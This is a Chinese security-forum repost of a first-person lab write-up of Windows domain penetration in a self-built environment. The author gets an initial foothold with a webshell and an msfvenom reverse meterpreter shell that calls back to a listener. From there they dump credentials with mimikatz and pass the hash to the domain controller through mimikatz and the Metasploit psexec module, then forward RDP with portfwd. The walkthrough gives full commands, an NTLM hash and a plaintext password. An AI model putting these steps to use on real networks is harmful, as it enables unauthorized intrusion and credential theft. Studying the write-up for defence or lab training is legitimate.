安全矩阵

 找回密码
 立即注册
搜索
查看: 2141|回复: 0

实战|记一次域渗透

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-4-17 10:32:18 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-4-17 10:31 编辑

实战|记一次域渗透

latpurple HACK之道 2022-04-17 09:00
原文链接:实战|记一次域渗透
本文作者:latpurple, 转载于FreeBuf.COM

说明

这是我第一次在社区发文,仅作为最近学习过程的收获记录,踩了很多坑,本人文章写的不是很好,文章中很多东西都也没写出来,思路有一些乱,没有完整的将域渗透的流程写出来(图配的很乱),在之后我再补全一些刚上手容易遇到的问题。
文章没有使用扫描模块或者nmap添加代理对内网扫描的过程。msf提供的代理模块是指,能供其他应用使用的代理。这就是为什么很多文章里写道,拿到一个shell后,会添加一条路由,再配置socks4a模块,然后修改proxychains4.conf文件了。其他用proxychains4使用代理的,比如proxychains4 nmap,是通过msf拿到的shell的转发出去的。我一开始理解错了,浪费了很多时间。
我是在某次跟师傅线下挖洞时接触到了域渗透,一直到现在才亲手搭环境复现,了解一些工具的使用,本人技术很菜,没挖到过src,不会代码审计,只懂一点流程,开发也不是很厉害,春招连个安服崽的工作都找不到(现在都不招人了我是真没想到hhh)。心塞。
所使用的工具:
  1. 哥斯拉的webshell
  2. msf msfvenom、handler、psexec模块
  3. meterpreter kiwi_cmd
  4. mimikatz
  5. psexec
复制代码
也参考了很多的资料,不贴出来应该没什么问题吧。
网段设置
  1. ip:192.168.10.1/24(自定义网段,模拟内网环境)
  2. 掩码:255.255.255.0

  3. DC(win server2008R2):192.168.10.2
  4. web-server\administrator(win server2008R2):192.168.192.153(双网卡,外网)、192.169.10.10(内网)
  5. Common-computer(win7 x64):192.168.10.20(没用上)
复制代码

准备工作
这里通过phpstudy快速搭站,上传webshell,然后哥斯拉连接,上传免杀木马的方式,直接进入域渗透环节。

测试连接。

使用命令生成远控木马程序,并通过webshell上传hack.exe,然后kali设置监听,然后在webshell中执行。
  1. msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.192.132 LPORT=6789 -f exe -o hack.exe

  2. use exploit/multi/handler
  3. set payload windows/x64/meterpreter_reverse_tcp
  4. set lhost 192.168.192.132
  5. set lport 6789
  6. exploit -j(后台)允许
复制代码


开启监听。

此时木马已上传,直接运行即可。

此时kali端收到一个meterpreter shell,接下来开启域渗透。

域内信息收集
大致说下收集哪些点
域名、网段、域内主机。
输入sessions_id,进入到会话
先探测一波,得到是administrator权限(好像是因为phpstudy默认是以管理员权限启动的),所以不用提权(其实我也不太会,改天使用现成的靶机练练提权),直接getsystem获取系统管理员权限。


shell命令进入到会话;
然后对域内信息进行收集;
  1. net view
  2. net group /domain
复制代码
等等域内信息收集命令,但是我自己搭建的域好像有点问题,就略过这一块儿了。

  1. ipconfig 查看网卡配置信息;

  2. route print 查看路由表;

  3. arp -a 查看arp缓存;
复制代码

可以看到应该是有两个网段的,一个外网网段,一个内网网段192.168.10.0
接着就需要找内网存活主机,以及找到域控的ip。找域控的话,直接ping域名就行,这里省略一些操作,直捣黄龙(域控)。


横向移动
这里我做了不同实验(因为是自己搭建的环境,并且域管理员账号跟密码都是知道的)。
1、直接在本地的跳板机上运行mimikatz,抓取ntlm,然后hash传递,这里仅仅想展示横向移动的效果
2、通过meterpreter加载mimikatz获取域管理员账户的ntlm值,然后利用psexec模块,获取域控的控制权(但是我没成功过,一直都抓不到,后来测试可以,原来之前是我看错了)。
3、通过端口转发,将域控的3389端口转发到本地的某个端口,然后远程连接它(作弊了,因为我知道账号密码)。
1、直接在跳板机上操作
mimikatz.exe privilege::debug sekurlsa::logonPasswords ntlm:bf056feb4349eff2d9761e322d6178dd同时账号密码也爆出来了。然后通过mimikatz进行hash传递mimikatz.exe privilege::debug sekurlsa::pth /user:administrator /domain:CYBER.COM /ntlm:bf056feb4349eff2d9761e322d6178dd可以看到新打开了一个cmd窗口,dir \\192.168.10.2\c$ps:在这里有个非常坑的点,我一开始用的新建的域用户登录的跳板机,结果pth一直失败,查了很久资料,终于找到原因所在,直接浪费一晚上。
在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
被攻击的机器需要开放445端口,而且用户名没有更改过,之前就碰到比较聪明的运维,虽然hash是一样的,但是他把每台主机的用户名都改掉了。


有账号和密码的话,也可以使用psexec.exe脚本登录。(该脚本好像可以用来本地提权到system权限,不过域用户好像不行,win 10好像也不行)PsExec64.exe \\192.168.10.2 -u administrator -p !@#123Qwe cmd.exe

2、meterpreter加载mimikatz(kiwi)
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
ps 查看进程id,找到一个64位的程序。
迁移进程 migrate PID。
kiwi_cmd sekurlsa::logonPasswords(不过也有可能抓不到密码,如果域管理员没登陆这台机器的话)kiwi_cmd "sekurlsa::pth /user:administrator /domain:cyber.com /ntlm:bf056feb4349eff2d9761e322d6178dd "  //这里好坑,需要将执行的命令用""括起来。而且也没有反弹shell


所以使用msf的psexec模块。如下按全0设置就好
  1. use exploit/windows/smb/psexec
  2. set payload windows/x64/meterpreter/bind_tcp
  3. set rhost 192.168.10.2
  4. set smbuser administrator
  5. set smbpass 00000000000000000000000000000000:bf056feb4349eff2d9761e322d6178dd
  6. set smbdomain cyber.com
复制代码



3、portfwd端口映射,远程桌面连接
添加一条路由route add 192.168.10.2/24 1(sessions id),表示所有经过这个网段的流量都从sessions 1转发。
  1. route print
  2. portfwd add -l loc_port -r target_ip -p 3389
  3. portfwd add -l 10001 -r 192.168.10.2 -p 3389(表示将远程主机的3389端口映射到本地10001端口,然后通过本地IP+port的方式远程连接,看资料好像是说3389端口不出网的话,可以通过这样的方式来连接3389)
  4. rdesktop 192.168.192.132:10001 (kali ip)
  5. 使用账号名@域名的方式,加上密码即可登录,例如:administrator@cyber !@#123Qwe
复制代码


结尾
我自己感觉这篇文章确实写的不是很好,没有把攻击的原理写出来,文章的深度不够,而且感觉一些地方有错误,希望各位师傅们能给一些指点。
本文作者:latpurple, 转载请注明来自FreeBuf.COM

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 13:51 , Processed in 0.013406 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表